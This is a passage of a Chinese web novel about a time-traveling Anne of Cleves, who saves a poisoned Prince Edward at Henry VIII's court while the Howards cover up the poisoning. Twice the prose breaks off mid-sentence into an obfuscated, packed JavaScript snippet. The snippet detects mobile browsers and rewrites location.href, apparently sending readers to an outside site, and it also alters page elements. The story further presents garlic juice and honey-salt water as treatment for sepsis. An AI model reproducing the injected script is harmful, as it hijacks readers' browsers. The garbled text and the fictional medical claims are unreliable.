与此同时，在里士满的塔楼上，安妮正和伊丽莎白观测着“Rosula”的位置。胡椒狗突然对着格林威治宫的方向，发出一声短促而充满不安的低吠，打破了夜的宁静。安妮放下星图，心头莫名掠过一丝寒意，她望向东南方那片灯火辉煌的天空，那里正上演着盛大的庆典，也正孕育着无声的杀机。 砧板上的肉或许暂时安全，但玫瑰王冠下的荆棘，已悄然刺向最脆弱的血脉。亨利的狂喜盛宴，成了阴谋最好的掩护。霍华德家族的“清理”行动，在凯瑟琳“有喜”的万丈光芒下，悄然拉开了帷幕。 26. 第二十五章 王子垂危与风暴边缘 格林威治宫的庆祝焰火尚未完全熄灭，欢庆的余韵就被一种令人窒息的恐慌彻底撕裂。爱德华王子，这个年仅四岁、承载着王国未来希望的小太阳，在庆祝晚宴结束后的第二日黎明前，突然陷入了高热的深渊。 起初只是轻微的咳嗽和烦躁不安，守夜的奶娘并未过于在意，只当是小王子白日里被喧闹惊扰。然而，短短几个时辰内，病情急转直下。爱德华小小的身体滚烫如火炭，精致的小脸烧得通红，呼吸变得急促而困难，细弱的四肢开始不受控制地抽搐。更令人心惊的是，他幼嫩的皮肤上，竟隐隐浮现出几点不祥的紫红色瘀斑。 “王子殿下！天哪！”奶娘凄厉的尖叫声划破了宫殿的寂静。 御医格里夫斯被连滚带爬地拖到了王子的寝殿。这位经验丰富的老御医在看到爱德华症状的瞬间，脸色就变得比床单还要惨白。他颤抖着手检查，翻开小王子的眼睑，又撬开他紧咬的牙关查看舌苔，额头的冷汗涔涔而下。 “恶…恶灵侵袭！或是…或是剧毒！”格里夫斯的声音充满了恐惧和不确定。高烧、惊厥、瘀斑——这些症状指向了最凶险的几种可能：烈性瘟疫、某种罕见的恶疾，或者……人为的毒害。他不敢怠慢，立刻用上了最猛烈的放血疗法，试图引走“腐败的□□”，又灌下了用蝎子粉、珍珠末和圣水调制的昂贵“解毒剂”。然而，这一切如同石沉大海。爱德华的抽搐非但没有停止，反而愈发剧烈，小小的身体在锦被中痛苦地弓起，发出微弱的、如同幼兽般的呜咽。瘀斑在扩大，颜色加深，如同死神在他身上烙下的印记。更可怕的是，他开始出现血尿，点点猩红染在洁白的尿布上，触目惊心。 消息如同瘟疫般迅速传开。亨利八世正在凯瑟琳寝宫享受新一天的温存，幻想着未来王子的模样，噩耗传来时，他脸上的笑容瞬间凝固，随即化为滔天的狂怒和恐惧。 “废物！一群废物！”他如同一头被激怒的雄狮，咆哮着冲进爱德华的寝殿。看到爱子奄奄一息、备受折磨的惨状，亨利的心仿佛被一只冰冷的手狠狠攥住。他双目赤红，一脚踹翻了格里夫斯刚刚调配好药剂的桌子，瓶瓶罐罐碎裂一地，药汁四溅。 “救不活他，你们统统给他陪葬！！”国王的怒吼在宫殿里回荡，震得窗棂嗡嗡作响。他粗暴地揪起格里夫斯的衣领，唾沫星子几乎喷到老御医脸上：“用最好的药！把全欧洲的医生都给我找来！王子若有三长两短，我要你们所有人……所有人！！” 他后面的话被剧烈的喘息和心痛堵住，只能死死盯着床上那小小的、痛苦的身影，巨大的身躯因恐惧和愤怒而微微发抖。凯瑟琳也被侍女搀扶着赶来，看到这一幕，她本就因“有喜”而苍白的脸更是血色尽失，捂着嘴靠在门框上，身体摇摇欲坠。她腹中的“希望”，此刻在王兄垂死的阴影下，显得如此脆弱和……不合时宜。 *** *** 消息以最快的速度传到了玛丽公主在汉斯敦的居所和伊丽莎白在里士满的塔楼。 玛丽·都铎几乎是立刻动身。她甚至来不及更换那身肃穆的黑丝绒常服，只抓起一串据说是她母亲凯瑟琳王后留下的、镶嵌着真十字架碎片的玫瑰念珠，便策马狂奔向格林威治。当她冲进爱德华的寝殿时，风尘仆仆，发髻散乱，但那双深陷的眼睛里燃烧着一种近乎殉道者的坚定光芒。她无视了暴怒的父亲和周围惶恐的众人，径直跪在弟弟的床边。她将冰凉的念珠贴在爱德华滚烫的额头上，用低沉而急促的拉丁语念诵着最虔诚的驱魔祷文和圣母连祷文，声音因悲痛和恐惧而微微发颤。她一遍遍呼唤着圣徒的名字，祈求他们的庇佑，泪水无声地滑过她冰冷的脸颊，滴落在弟弟的被褥上。在这一刻，所有的政治算计、所有的个人恩怨都被抛诸脑后，她只是一个绝望地想要从死神手中夺回弟弟的姐姐。 紧随其后，里士满的马车也在夜色中疾驰而至。伊丽莎白跳下马车，小脸上写满了不属于她年龄的凝重和担忧。她没有像玛丽那样大声祈祷，而是安静地走到床的另一边，也跪了下来。她伸出小手，小心翼翼地避开弟弟身上的瘀斑，轻轻握住他一只滚烫的小手。她闭上眼睛，用安妮悄悄教给她的、只有她自己能听清的低语，念诵着一种混合了古老草药祝福和坚定信念的独特“咒语”，同时在心里一遍遍呼唤：“爱德华，坚持住，为了英格兰，为了你自己……坚持住！” 她的另一只手紧紧攥着安妮在她临行前塞给她的一小包干燥的薰衣草和薄荷叶，据说能带来安宁的气息。 两位公主，一个用最正统的宗教力量，一个用近乎本能的守护信念，在幼弟的病榻前，形成了奇异的同盟。她们的存在，像两堵沉默的墙，试图阻挡死神的脚步。 *** *** 就在格林威治宫因王子垂危而陷入一片混乱和悲痛之际，在诺福克公爵府邸最深处的密室中，托马斯·霍华德听着心腹的密报，脸上没有任何波澜，只有一种冷酷的满意。 “处理干净了？”公爵的声音平静得像在询问天气。 “是的，大人。”心腹低垂着头，“那个女侍，昨晚‘失足’跌入了泰晤士河下游的急流，今早尸体在磨坊水轮下被找到，已经泡得面目全非。她房内所有可疑的东西，连同那点‘白霜’（指毒药），都已在河底喂了鱼。我们在她枕头下‘发现’了一封遗书，字迹模仿得足以乱真，写满了对某个负心情郎的绝望和对自身罪孽（指偷窃了王后一件小首饰）的恐惧。” “很好。”公爵啜饮了一口杯中的深红色酒液，“王子那边呢？” “格里夫斯那个老狐狸，还有我们收买的另一个药剂师学徒，都确认了症状符合预期。他们现在只敢往‘恶灵’或‘罕见急症’上引，绝口不提中毒。西摩家的人像疯狗一样在查，但所有的线都断了。那个学徒，今晚就会因为‘误用’了给马泻火的巴豆粉而被愤怒的马夫‘失手’打死。”心腹的语气毫无感情，仿佛在陈述一件与己无关的日常琐事。 诺福克公爵点点头，眼中闪过一丝寒芒：“让西摩家的人去查，去咬。咬得越凶，越显得他们是在借题发挥，打击‘有喜’的王后和我们。陛下现在，最听不得这个。”他放下酒杯，嘴角勾起一抹残酷的弧度，“小爱德华……可惜了。但他太弱了，就像他母亲一样，注定撑不起王冠的重量。他的存在，本身就是对凯瑟琳孩子未来的最大威胁。现在，障碍正在清除。风暴过后，阳光只会照耀在真正的继承人身上。”他挥挥手，心腹悄无声息地退下，密室重归寂静，只有烛火在公爵冷酷的眼眸中跳动。 *** *** 西摩家族的愤怒如同压抑的火山。爱德华·西摩，简·西摩王后的兄长，爱德华王子的亲舅舅，在得知外甥病危的消息后，几乎要拔剑冲进霍华德家的府邸。他强忍着滔天怒火，带着家族的核心成员和能找到的、对霍华德家族不满的零星贵族，紧急求见亨利八世。 在气氛凝重得能滴出水的枢密院偏厅，爱德华·西摩双目赤红，声音因极力压制愤怒而嘶哑：“陛下！王子殿下身体素来虽弱，但从未有过如此凶险急症！症状蹊跷，瘀斑、血尿……这绝非寻常疾病！格里夫斯支支吾吾，其中必有隐情！就在王后宣布有喜、举国欢庆之时，王子殿下突遭此难，时机太过巧合！臣恳请陛下，彻查！彻查所有接触过王子饮食起居之人！尤其是……”他没有明说，但目光如刀般扫过在场的、与霍华德家族关系密切的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155916|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几位大臣，最后停留在紧闭的门外，意指凯瑟琳寝宫的方向。“王子殿下是您法定的继承人，是英格兰的未来！他的安危，关乎国本！绝不能让宵小之徒得逞！” 他的话掷地有声，带着一个失去妹妹、又即将可能失去外甥的男人的悲愤和家族存亡的危机感。 西摩家族的其他成员也纷纷附和，言辞激烈，矛头虽未直接点名霍华德，但暗示的意味极其明显。大厅内气氛剑拔弩张，支持西摩和倾向霍华德的势力隐隐对立。 亨利八世坐在主位上，巨大的身躯深陷在椅子里。他脸上交织着疲惫、心痛和一种被逼到悬崖边的狂躁。一边是他病危的、法定的儿子和继承人，一边是他心爱的、怀着“新希望”的娇妻和她背后正如日中天的霍华德家族。西摩家族的指控像毒刺，扎在他最敏感、最不愿面对的神经上。如果彻查，万一……万一真的牵扯到凯瑟琳，哪怕只是她身边的人……他不敢想象！他刚得到的新希望，难道就要这样破灭在旧日的阴影和阴谋中？ “够了！”亨利猛地一拍桌子，巨大的声响让所有人都是一震。他喘着粗气，布满血丝的眼睛死死盯着爱德华·西摩，“西摩！注意你的言辞！格里夫斯和所有御医都在尽全力救治王子！朕的儿子正在遭受病痛的折磨，而你们！却在这里妄加揣测，煽风点火，扰乱宫廷！” 他的声音因激动而颤抖，“什么隐情？什么宵小？证据呢？拿出证据来！难道就因为王后有喜，就要承受你们无端的猜忌和污蔑吗？她是英格兰的王后！她腹中怀着的，同样是朕的骨血，是王国的希望！” 他深吸一口气，试图平复情绪，但效果甚微：“王子突染恶疾，朕比任何人都心痛！但此刻最重要的是救治！不是毫无根据的猜疑和内讧！此事……到此为止！在王子病情稳定之前，任何人不得再妄议！” 他几乎是吼出了最后的命令，带着一种不容置疑的、用王权威严强行压下惊涛骇浪的意味。“都给我把心思放在为王子祈福上！退下！” 亨利选择了按下。为了凯瑟琳，为了她腹中那个象征着新开始、新希望的孩子，也为了维持此刻那脆弱而危险的宫廷平衡，他强行将西摩家族愤怒的指控和那可怕的疑云压了下去。他像一个把头埋进沙子的鸵鸟，拒绝去看那可能存在的深渊。 爱德华·西摩的脸色瞬间变得铁青。他看着国王那双被私欲和恐惧蒙蔽的眼睛，看着周围霍华德派系大臣眼中一闪而过的得意，一股冰冷的绝望和滔天的怒火直冲头顶。他明白了，在陛下心中，那个尚未出生、甚至不知男女的“希望”，其分量已经压过了此刻正在生死线上挣扎的、法定的继承人！ “陛下……”西摩的声音冰冷刺骨，带着无尽的失望和决绝，“臣……告退！” 他不再多言，猛地转身，沉重的斗篷甩出一道凌厉的弧线。西摩家族成员紧随其后，他们离开时的脚步声沉重而愤怒，像一阵压抑的雷暴滚过宫殿。在门口，爱德华·西摩甚至没有看那些霍华德党羽一眼，只是用尽全力握紧了腰间的剑柄，指节因用力而发白。他带着家族成员，头也不回地离开了格林威治宫，背影决绝而充满寒意。他们不会善罢甘休。王子的血，不能白流。这场风暴，才刚刚开始酝酿。 寝殿内，玛丽公主的拉丁祷文和伊丽莎白无声的守护仍在继续，与偏厅那场被强行中止的风暴形成了诡异的对比。爱德华小小的身体在病魔的肆虐下微微抽搐，高烧的潮红与死亡的瘀斑交织。亨利颓然坐回椅子，巨大的手掌捂住脸，指缝间泄露出沉重的、充满恐惧和矛盾的叹息。格林威治宫的灯火依旧通明，却再也照不亮那被阴谋和私欲笼罩的、令人窒息的黑暗。霍华德家族的毒手，在国王的“庇护”下，暂时隐入了更深的阴影。 27. 暗夜疾驰与晨曦的橄榄叶 格林威治宫的绝望如同浓稠的墨汁，浸染着每一寸空气。爱德华王子的病情没有丝毫好转，反而在格里夫斯那些“猛药”的轮番轰炸下更加凶险。他的抽搐已经演变成间歇性的角弓反张，小小的身体在锦被中绷成一张痛苦的弓，每一次发作都伴随着令人心碎的微弱嘶鸣。瘀斑蔓延得更广，颜色深紫近黑，高烧不退，呼吸微弱得仿佛随时会断掉。玛丽公主的拉丁祷文已带上了绝望的哭腔，念珠在她手中几乎被捏碎。亨利八世像一头困兽，在寝殿外焦躁地踱步，咆哮声越来越无力，只剩下被恐惧啃噬的嘶哑。凯瑟琳被强行送回寝宫“安胎”，但隔着厚重的门墙，依然能感受到那沉重的、令人窒息的死亡气息。 伊丽莎白跪在床边，小手紧紧握着弟弟滚烫的手指，薰衣草和薄荷的香气早已被浓重的药味和病气淹没。她看着爱德华痛苦扭曲的小脸，听着他越来越微弱的呼吸，一股冰冷的绝望攫住了她幼小的心脏。格里夫斯束手无策，御医们只会争吵和放血，父王被愤怒和恐惧蒙蔽，玛丽姐姐的祈祷似乎也无法穿透这厚重的死亡阴云……怎么办？爱德华真的要死了吗？ 一个名字如同黑暗中的闪电，猛地劈开她混乱的思绪——安妮！ 她的老师！那个懂星星、会酿酒、能调配出缓解父王痛风的“安胎蜜”、仿佛无所不能的安妮！她来自神秘的远方，她的眼神里总藏着伊丽莎白看不懂的智慧之光！格里夫斯那些愚蠢的蝎子粉和放血刀救不了爱德华，也许……也许安妮有办法？一个疯狂的念头在她心中疯狂滋生，压倒了所有的规矩和恐惧。 趁着一次玛丽公主因悲痛过度而短暂昏厥、众人手忙脚乱之际，伊丽莎白像一只受惊的小鹿，猛地从床边弹起。她甚至没看父亲一眼，小小的身影敏捷地穿过混乱的人群，冲出寝殿，直奔马厩！ “备马！最快的马！”她的声音尖利而急促，带着不容置疑的命令，完全不像一个七岁的孩子。 马夫被她眼中的决绝吓到，下意识地牵出了亨利赐给她的一匹温顺但脚力颇佳的设得兰小马。伊丽莎白甚至没等马鞍完全系好，抓住缰绳，踩着马镫翻身而上。 “去里士满！找安妮女士！”话音未落，她已猛地一夹马腹。小马吃痛，长嘶一声，如离弦之箭般冲出了格林威治宫沉重大门，冲进了浓重的、弥漫着死亡气息的夜色里。里士满，安娜宫。 安妮并未安寝。格林威治宫的噩耗早已传来，胡椒狗焦躁不安地在她脚边打转，呜呜低鸣。她坐在书桌前，对着摇曳的烛光，面前摊开着那本记录着历史脉络的羊皮册，手指无意识地摩挲着“爱德华六世”这个名字。 ‘历史上，爱德华虽然体弱多病，但他是继亨利之后登基了的……他应该能挺过这一关……吧？’ 安妮在心中反复默念，试图用已知的历史轨迹来安抚自己内心的不安。‘他只是年幼体虚，加上这个时代的医疗水平太差……他最后是死于结核病，不是现在……’ 然而，另一个声音，一个冰冷而理智的声音，在她脑中尖锐地响起：‘历史？你还敢笃信历史？安妮·克里夫斯！你自己就是最大的变数！你救下了克伦威尔（虽然结局未定），你改变了伊丽莎白的成长轨迹，你用现代知识酿酒、行医、甚至教她看星星！你的翅膀扇起的风，早已让历史的河流偏离了原来的河道！谁知道爱德华会不会因为你的出现，或者因为霍华德家族更早、更狠的毒手，而提前夭折？！’ 恐惧如同冰冷的藤蔓，瞬间缠绕住她的心脏，让她几乎无法呼吸。如果爱德华真的死了……玛丽将失去最后的枷锁，宗教迫害将变本加厉；伊丽莎白的处境将更加危险；而霍华德家族，借着凯瑟琳的肚子，将权势滔天！自己这个“前王后”，这个看似被遗忘的“砧板上的肉”，还能在里士满安然酿酒看星星吗？诺福克公爵那冰冷的眼神再次浮现在她眼前。 就在这时，急促的马蹄声如同密集的鼓点，由远及近，狠狠砸碎了里士满宁静的夜！紧接着是城堡吊桥被猛烈叩响的声音和胡椒狗狂躁的吠叫！ “老师！安妮老师！开门！求您开门！” 伊丽莎白带着哭腔的、嘶哑的呼喊穿透了厚重的门板。 安妮猛地站起，心脏狂跳！她几乎是冲下塔楼，亲自拉开了厚重的城堡大门。 门外，小小的伊丽莎白浑身沾满夜露和尘土，发髻散乱，小脸被寒风刮得通红，嘴唇干裂，那双灰绿色的眼睛里盛满了前所未有的恐惧、绝望和最后一丝孤注一掷的希冀。她的小马在身后喷着粗重的白气，浑身汗湿。 “老师！救救爱德华！求您！格里夫斯他们……他们只会害死他！他快不行了！只有您……只有您也许能……” 伊丽莎白语无伦次，泪水终于决堤，混合着脸上的尘土，留下狼狈的痕迹。她跳下马，踉跄着扑过来，死死抓住安妮的裙摆，像抓住最后一根救命稻草。 看着眼前这个不顾一切、在暗夜中独自疾驰数十里来求救的孩子，看着她眼中那超越年龄的深切痛苦和信任，安妮心中最后那点犹豫和自保的念头被彻底击碎了。 历史？蝴蝶效应？去他的吧！ 现在，她面前是一个濒死的孩子，和一个绝望求救的妹妹！ 她是一个穿越者，一个拥有超越时代数百年医学知识的人！ 她必须去！必须试一试！ “备车！最快的马车！带上我的药箱！还有，把酒坊里那桶最高浓度的‘安胎蜜’原浆搬上车！”安妮的声音斩钉截铁，瞬间恢复了指挥若定的气势。她快速吩咐惊醒的仆人，同时一把将颤抖的伊丽莎白紧紧搂在怀里，“别怕，贝丝，老师跟你回去！我们一起去把爱德华抢回来！” 当安妮的马车在黎明前最黑暗的时刻冲回格林威治宫时，迎接她们的是玛丽公主愤怒的尖叫和亨利八世充满血丝、布满怀疑与最后一丝渺茫希望的眼神。 “德意志女人！你想干什么？格里夫斯大人正在救治王子！你休想用你那些异教的巫术……”玛丽挡在寝殿门口，像一头发怒的母狮。 “让她进去！”亨利的声音如同砂纸摩擦，嘶哑却带着一种溺水者抓住浮木般的疯狂。他粗暴地推开玛丽，布满红丝的眼睛死死盯着安妮和她身后仆人抬着的那桶散发着浓郁药草和蜂蜜气息的原浆，“如果你救不了他……你知道后果！” 安妮没有理会玛丽的尖叫和亨利的威胁。她深吸一口气，带着胡椒狗（它坚持要跟着，嘴里还叼着一把刚拔下来的、沾着泥土的不知名草药）和抱着沉重药箱的仆人，径直走进了那间被死亡阴影笼罩的寝殿。 浓烈的血腥味（来自反复放血）、草药味、汗味和一种疾病特有的腐败气息扑面而来。爱德华小小的身体躺在床上，被汗水浸透，皮肤滚烫，布满可怖的紫黑色瘀斑，每一次抽搐都让他的小脸扭曲变形，呼吸微弱得几乎消失。 格里夫斯满头大汗，正指挥助手准备新一轮的放血和灌药，看到安妮进来，他先是一愣，随即脸上露出混合着不屑和惶恐的神情。 安妮无视了他们。她快步走到床边，仔细观察爱德华的症状：持续超高热、意识丧失、抽搐、全身弥漫性瘀斑、血尿……这绝不是普通的感冒或儿童疾病！结合这急骤的发病和特定的瘀斑形态……一个现代医学名词如同惊雷般在她脑中炸响——**脓毒血症（Sepsis）！或者更具体地说，很可能是爆发性的流脑或败血症！** 在这个没有抗生素的年代，这几乎是死刑！但并非完全没有希望！ “住手！立刻停止放血！停止灌那些毒药！”安妮的声音如同寒冰，带着不容置疑的权威，瞬间镇住了格里夫斯和他的助手。 “你……你懂什么？这是驱除邪祟和腐败□□……”格里夫斯试图反驳。 “腐败□□？”安妮猛地转身，目光如电，“看看王子！他的□□快被你们放干了！看看这些瘀斑！这是血管被毒素破坏的标志！是身体在呼救，在崩溃！你们不是在救人，是在加速他的死亡！” 她不再理会目瞪口呆的御医，语速飞快地下达命令，如同战场上的将军： 1. **物理降温！** “立刻准备大量冷水（必须是煮沸后冷却的净水！）、干净棉布！还有冰块！有多少拿多少！快！” 2. **停止有害药物！** “他灌下去的所有东西，立刻停掉！一滴也不许再灌！” 3. **补液！** “取那桶原浆，用大量煮沸冷却的净水稀释！要非常淡！加入一点点盐（她强调必须用自己带来的、提纯过的粗盐）！调成微甜的淡盐水！准备干净的小勺，一点一点，慢慢喂进去！绝对不能呛到！” 4. **环境！** “打开窗户通风！把这些熏死人的香炉都撤掉！保持空气流通！但注意给王子盖好，不能着凉！” 5. **抗感染（她能想到的极限）！** “取大量新鲜大蒜！捣碎，挤出汁液！用少量稀释的蜂蜜水调和！想办法……哪怕一点点，涂在他的牙龈和舌下！还有，用干净棉布蘸取大蒜汁，轻轻擦拭他腋下、腹股沟这些有大血管经过的地方！” （大蒜素是她目前唯一能想到的、具有微弱广谱抗菌作用且相对安全的天然物质）。 6. **镇静（辅助）！** “取我药箱里的干薰衣草和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155917|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋甘菊，用热水冲泡，但不要太浓！用蒸汽熏蒸他周围，或者用棉布蘸取温热的药汁，轻轻擦拭他的额头和太阳穴，帮助舒缓神经。” 她的命令清晰、快速、前所未闻，带着一种不容置疑的逻辑力量。仆人们被她气势所慑，下意识地开始执行。玛丽公主被挤到一边，看着安妮有条不紊地指挥，看着仆人们忙碌地取冰、调水、捣蒜……她嘴唇哆嗦着，想说什么，却最终没有开口，只是握紧了胸前的十字架，眼神复杂地看着安妮忙碌的背影。 亨利八世站在门口，高大的身躯仿佛被钉在原地。他看着安妮用冰冷的湿布小心翼翼地覆盖在爱德华滚烫的额头、颈动脉和手腕上；看着她指挥仆人用极其轻柔的动作，用小银勺一点点将稀释的淡盐水喂进爱德华干裂的嘴唇（虽然大部分流了出来，但似乎也咽下去了一点点）；看着她用蘸着奇怪蒜汁的棉布擦拭……他心中的暴怒和怀疑，被一种从未有过的、混杂着恐惧和微弱希冀的茫然所取代。这个被他抛弃的“德意志母马”，此刻展现出的冷静、决断和一种他完全无法理解的“医术”，让他感到陌生而震撼。 时间在紧张和死寂中一分一秒地流逝。每一秒都像一个世纪那么漫长。安妮亲自守在床边，不断更换冰敷的布巾，监测爱德华的体温（用手背感知），调整喂水的速度和浓度。胡椒狗安静地趴在床尾，湿漉漉的鼻子时不时嗅嗅空气，仿佛也在监测着什么。 格里夫斯被彻底晾在一边，脸色一阵红一阵白。他看着安妮那些“离经叛道”的方法，几次想开口，但接触到安妮那冰冷锐利的眼神和亨利沉默却充满压迫感的注视，又硬生生把话咽了回去。他偷偷拿出羊皮纸和炭笔，开始快速记录安妮的每一个步骤和爱德华的细微反应，眼中充满了困惑和一种被颠覆认知的震动。 奇迹，在黎明第一缕微光穿透窗棂时，悄然发生了。 也许是物理降温起了作用，也许是那极其微弱的补液维持住了爱德华最后一点生机，也许是微量的大蒜素真的对肆虐的细菌产生了些许抑制……爱德华滚烫的体温，开始出现一丝微弱的、但确凿无疑的下降趋势！他剧烈的抽搐频率明显降低，持续时间也缩短了。虽然瘀斑依旧狰狞，虽然呼吸依旧微弱，但那种令人窒息的濒死感，似乎被撬开了一道缝隙！ “温度……温度在降！” 一个一直用手背感知爱德华额头的侍女，突然带着难以置信的惊喜低呼出声。 安妮长长地、长长地舒了一口气，紧绷的神经骤然松弛，身体晃了晃，几乎站立不稳。她靠在床边，这才感觉到自己后背早已被冷汗浸透，手指也因为长时间的操作而微微颤抖。她看着爱德华那虽然依旧苍白痛苦、但似乎平缓了一些的小脸，一股巨大的疲惫和后怕席卷而来。 她做到了！在死神手里，暂时抢回了一条命！ 伊丽莎白一直紧紧抓着安妮的衣角，此刻看到弟弟的变化，小脸上瞬间爆发出巨大的、失而复得般的喜悦，泪水再次汹涌而出，但这次是喜悦的泪水。她扑到床边，小心翼翼地呼唤：“爱德华？爱德华？我是贝丝……” 玛丽公主也快步上前，仔细查看弟弟的情况，当她确认那恐怖的抽搐确实减弱、体温也确实在下降时，她猛地抬头看向安妮，眼神极其复杂。有震惊，有难以置信，有感激，但更深处的，是一种被挑战了信仰根基的迷茫和……一丝不易察觉的忌惮。她手中的玫瑰念珠，无声地滑落在地。 亨利八世踉跄着冲进房间，巨大的手掌颤抖着抚上爱德华依旧滚烫但已不再那么灼人的额头。感受着那细微却真实的变化，这位铁血的君王，眼中竟也泛起了浑浊的泪光。他看向安妮，嘴唇翕动了几下，最终什么也没说，只是那眼神中的狂暴和猜忌，被一种劫后余生的、极其复杂的情绪所取代——有感激，有愧疚，但更多的是一种重新审视和评估。 安妮疲惫地靠在冰冷的墙壁上，看着眼前这一幕。她知道，危机只是暂时缓解，爱德华远未脱离危险，后续的治疗和护理将更加漫长和关键。霍华德家族绝不会善罢甘休。而她，这个“德意志的安妮”，这个用“异教”方法挽救了法定继承人的前王后，已经彻底将自己暴露在了宫廷斗争的最前沿。 历史的车轮，在她扇动的蝴蝶翅膀下，已经无可挽回地滑向了更加未知和凶险的深渊。但她看着爱德华微弱起伏的胸口，看着伊丽莎白带着泪光的笑容，心中只有一片平静——她做了该做的事。晨曦的微光透过窗户，照亮了她疲惫却坚定的侧脸，也照亮了床边那桶救命的、散发着蜂蜜与草药清香的“安胎蜜”原浆，如同黑暗中生长出的一片倔强的橄榄叶。 28. 念珠、致谢与税务风暴中的叹息 格林威治宫爱德华王子的寝殿，成了整个王国目光的焦点，也是风暴暂时停歇的港湾。安妮如同一台精密而不知疲倦的机器，守护在爱德华床边。物理降温（冰块越来越难寻，但安妮坚持必须用）、极其缓慢而持续的补液（稀释的蜂蜜盐水，加入了少量柠檬汁补充电解质）、大蒜汁的局部应用、以及用薰衣草和洋甘菊蒸汽营造的安宁环境……这些在现代看来只是支持疗法的手段，在这个时代却如同神迹。 爱德华的体温终于在第三天黎明时分稳定在了一个相对安全的区间，不再有那骇人的灼热。持续折磨他的剧烈抽搐彻底停止，虽然身体依旧虚弱无力，偶尔会无意识地呻吟，但那种濒死的角弓反张消失了。最令人振奋的是，他身上的紫黑色瘀斑，边缘开始模糊、褪色，虽然依旧存在，但已不再扩散，颜色也由恐怖的深紫转为暗红，仿佛凝固的血液正在被身体缓慢吸收。呼吸变得平稳悠长，虽然依旧带着病后的细弱，却不再是那令人揪心的微弱。血尿也止住了。 格里夫斯和他手下的御医们，从最初的震惊、怀疑甚至暗中抵触，到后来变成了沉默的观察者和笨拙的学徒。他们看着安妮一丝不苟地操作，记录着她每一个步骤，尝试理解其中蕴含的、他们完全陌生的“道理”——为什么降温比放血更能保护心脏？为什么那么一点点淡盐水能维持生机？那刺鼻的大蒜汁，难道真能对抗无形的“毒素”？虽然无法理解，但爱德华肉眼可见的、奇迹般的改善，像一记重锤，砸碎了他们根深蒂固的医学观念。格里夫斯看向安妮的眼神，充满了前所未有的敬畏和困惑，他甚至开始偷偷在自己的药典空白处，用极小的字记录下“克里夫斯疗法”。 当安妮在第四天清晨，疲惫却清晰地宣布“王子殿下已脱离最凶险的阶段，但后续调养至关重要，仍需绝对静养和精心护理”时，寝殿内紧绷到极致的弦，终于“铮”地一声松开了。 一直守在门外的玛丽公主，第一个冲了进来。她没有去看安妮，而是扑到弟弟床边，颤抖的手指轻轻抚过爱德华虽然苍白却已恢复平静的小脸，感受着他平稳温热的呼吸。巨大的、失而复得的狂喜和连日积压的恐惧、疲惫瞬间化作汹涌的泪水，冲垮了她冰冷高傲的堤防。她再也抑制不住，伏在弟弟枕边，肩膀剧烈地抽动，压抑的哭声从喉咙深处溢出，不再是绝望的悲鸣，而是喜极而泣的宣泄。泪水浸湿了爱德华的枕巾，也洗刷着她心中对安妮最后一丝顽固的敌意。 过了许久，玛丽才慢慢抬起头。她用手背胡乱擦去脸上的泪痕，尽管眼睛红肿，但那份属于公主的矜持似乎又回到了她身上。她站起身，走到一直安静地靠在墙边休息的安妮面前。 空气有一瞬间的凝滞。玛丽的目光复杂地落在安妮身上，这位被她视为“德意志异教徒”、举止“轻浮”的前王后，此刻在她眼中却像笼罩着一层难以言喻的光晕——不是圣徒的光环，而是一种源自强大、冷静和未知智慧的奇异力量。 玛丽深吸一口气，没有说任何感谢的话。她沉默地从自己纤细的脖颈上，解下那串她视若性命、片刻不离身的玫瑰念珠。念珠由深色乌木制成，每一颗都圆润光滑，泛着岁月沉淀的温润光泽。最下方悬挂着一个极小的、镶嵌着暗红色宝石（据说内含真十字架碎片）的银质十字架。这是她母亲，阿拉贡的凯瑟琳王后，在临终前留给她的唯一遗物，承载着她对母亲所有的思念、信仰的寄托以及……对命运不公的控诉。 玛丽将念珠双手捧起，递到安妮面前。她的动作庄重而缓慢，带着一种近乎宗教仪式的虔诚。 “安妮女士，”玛丽的声音有些沙哑，但异常清晰，带着一种前所未有的郑重，“这是……我母亲留下的。它曾伴随她度过最黑暗的囚禁岁月，也伴随我度过无数个被诅咒的日夜。它……它见证过信仰的力量。”她停顿了一下，似乎有些艰难地措辞，“我……无法理解您所做的一切，那超出了我的认知。但您救了我的弟弟，救了这个王国法定的继承人。这串念珠……它无法报答您的恩情于万一，但它代表我……和我的母亲……对您的敬意。” 她的目光紧紧锁住安妮的眼睛，灰蓝色的眼眸深处翻涌着感激、困惑、以及一种近乎顽固的坚持：“我，玛丽·都铎，在此承诺。我会在万能的主面前，在圣母玛利亚面前，在英格兰所有圣徒面前，为您祈祷。祈祷您……平安。祈祷您的智慧……得到善用。” 最后几个字，她说得异常缓慢而清晰，仿佛在暗示着什么。她将念珠轻轻放入安妮手中，指尖微凉，带着一种决绝的托付感。 安妮握着那串沉甸甸的、带着玛丽体温和复杂情感的念珠，心中五味杂陈。她能感受到其中蕴含的沉重历史和玛丽的真诚（尽管是带着她自身信仰烙印的真诚）。这串念珠，与其说是谢礼，不如说是一个象征，一个来自最顽固的天主教公主的、跨越了巨大鸿沟的认可和……警示？她郑重地点点头：“谢谢您，玛丽公主。我会妥善保管它，并……记住您的祈祷。” 就在寝殿内弥漫着一种劫后余生的温情与复杂情绪时，亨利八世那高大的身影再次出现在门口。他的脸色依旧憔悴，眼袋深重，但那股狂暴的戾气已经消散，取而代之的是一种深沉的疲惫和一种……近乎笨拙的感激。 